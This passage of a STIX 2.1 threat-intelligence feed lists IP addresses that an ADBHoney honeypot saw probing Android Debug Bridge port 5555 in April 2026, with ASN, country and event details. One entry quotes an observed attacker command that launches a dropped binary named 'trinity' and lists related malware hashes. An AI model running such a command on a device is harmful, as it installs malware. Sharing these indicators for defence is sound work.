      "id": "indicator--840c2c01-483b-431f-a2f6-ecd84befd332",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.26.104.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 112,
          "first_seen": "2026-04-06T14:12:05.000Z",
          "last_seen": "2026-04-06T14:43:02.701Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-06T14:28:11.000Z | last_seen=2026-04-06T14:38:21.016Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--8b816a1e-72c7-4149-aceb-958e934040b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '144.123.78.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-06T14:28:11.000Z",
          "last_seen": "2026-04-06T14:38:21.016Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-06T14:27:46.000Z | last_seen=2026-04-06T14:38:04.099Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--496df9d6-b4d7-4d83-999a-0a3acc057f8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '171.120.30.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-06T14:27:46.000Z",
          "last_seen": "2026-04-06T14:38:04.099Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T14:27:22.000Z | last_seen=2026-04-06T14:37:44.266Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--7457ae0b-66a9-4d54-ba5b-ef84ce2fb69b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '171.8.138.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T14:27:22.000Z",
          "last_seen": "2026-04-06T14:37:44.266Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-06T14:28:18.000Z | last_seen=2026-04-06T14:38:33.956Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--a6edf9c6-454f-407d-a767-432ec74d24c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '175.30.48.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-06T14:28:18.000Z",
          "last_seen": "2026-04-06T14:38:33.956Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=62 | first_seen=2026-04-06T14:51:43.000Z | last_seen=2026-04-06T15:04:26.612Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--a786ae83-5057-49fe-a551-7d025cd0beca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 62,
          "first_seen": "2026-04-06T14:51:43.000Z",
          "last_seen": "2026-04-06T15:04:26.612Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-06T14:27:20.000Z | last_seen=2026-04-06T14:28:24.830Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--3291bf69-1b54-4ea4-861a-30086e5d92b0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.197.78.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-06T14:27:20.000Z",
          "last_seen": "2026-04-06T14:28:24.830Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=TR; asn=12735; asn_org=TurkNet Iletisim Hizmetleri A.S.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T14:36:26.000Z | last_seen=2026-04-06T14:46:31.667Z | ports=5555 | cc=TR | asn=12735 | org=TurkNet Iletisim Hizmetleri A.S.",
      "id": "indicator--40852715-1752-4b1e-865c-ac22648bb44a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '31.223.1.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T14:36:26.000Z",
          "last_seen": "2026-04-06T14:46:31.667Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TR"
          ],
          "asn": [
            "12735"
          ],
          "org": [
            "TurkNet Iletisim Hizmetleri A.S."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-06T15:47:25.000Z | last_seen=2026-04-06T15:48:31.105Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--511d0518-7988-4840-8feb-228d67ac4db3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.236.111.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:00:04.000Z",
      "valid_until": "2026-05-08T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-06T15:47:25.000Z",
          "last_seen": "2026-04-06T15:48:31.105Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-06T15:47:00.000Z | last_seen=2026-04-06T15:48:09.160Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--8e2e98c6-5888-4fc9-ae89-7cd66f868578",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.92.27.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:00:04.000Z",
      "valid_until": "2026-05-08T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-06T15:47:00.000Z",
          "last_seen": "2026-04-06T15:48:09.160Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=MK; asn=208730; asn_org=Inel Tehnik Dooel; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T16:36:10.000Z | last_seen=2026-04-06T16:46:14.576Z | ports=5555 | cc=MK | asn=208730 | org=Inel Tehnik Dooel",
      "id": "indicator--873a472a-66af-413d-bba9-19006cdc7e1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.26.100.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:00:02.000Z",
      "valid_until": "2026-05-08T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T16:36:10.000Z",
          "last_seen": "2026-04-06T16:46:14.576Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MK"
          ],
          "asn": [
            "208730"
          ],
          "org": [
            "Inel Tehnik Dooel"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=285 | first_seen=2026-04-06T16:48:09.000Z | last_seen=2026-04-22T15:47:23.485Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--4719d2b6-f3b4-458d-a225-6ab129d9845d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:00:02.000Z",
      "valid_until": "2026-05-08T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 285,
          "first_seen": "2026-04-06T16:48:09.000Z",
          "last_seen": "2026-04-22T15:47:23.485Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-06T18:18:01.000Z | last_seen=2026-04-06T18:19:40.073Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--b0314646-e494-42eb-8392-8b29565f5b59",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:00:02.000Z",
      "valid_until": "2026-05-08T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-06T18:18:01.000Z",
          "last_seen": "2026-04-06T18:19:40.073Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=48090; asn_org=Techoff Srv Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-06T18:58:28.000Z | last_seen=2026-04-06T18:59:31.747Z | ports=5555 | cc=BG | asn=48090 | org=Techoff Srv Limited",
      "id": "indicator--44c21716-38dd-44a3-9ca5-621bee22e003",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '93.123.109.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:00:02.000Z",
      "valid_until": "2026-05-08T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-06T18:58:28.000Z",
          "last_seen": "2026-04-06T18:59:31.747Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "48090"
          ],
          "org": [
            "Techoff Srv Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T20:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-06T19:05:02.000Z | last_seen=2026-04-06T19:16:32.971Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--47289d23-f5fd-4328-b6ba-a1baa23ebe02",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:00:12.000Z",
      "valid_until": "2026-05-08T20:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-06T19:05:02.000Z",
          "last_seen": "2026-04-06T19:16:32.971Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T21:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=UY; asn=6057; asn_org=Administracion Nacional de Telecomunicaciones; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T20:54:55.000Z | last_seen=2026-04-06T21:05:00.226Z | ports=5555 | cc=UY | asn=6057 | org=Administracion Nacional de Telecomunicaciones",
      "id": "indicator--d75d2439-385f-4742-b08e-53e2e92237af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '179.24.30.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T21:00:08.000Z",
      "valid_until": "2026-05-08T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T20:54:55.000Z",
          "last_seen": "2026-04-06T21:05:00.226Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UY"
          ],
          "asn": [
            "6057"
          ],
          "org": [
            "Administracion Nacional de Telecomunicaciones"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T21:00:08.000Z",
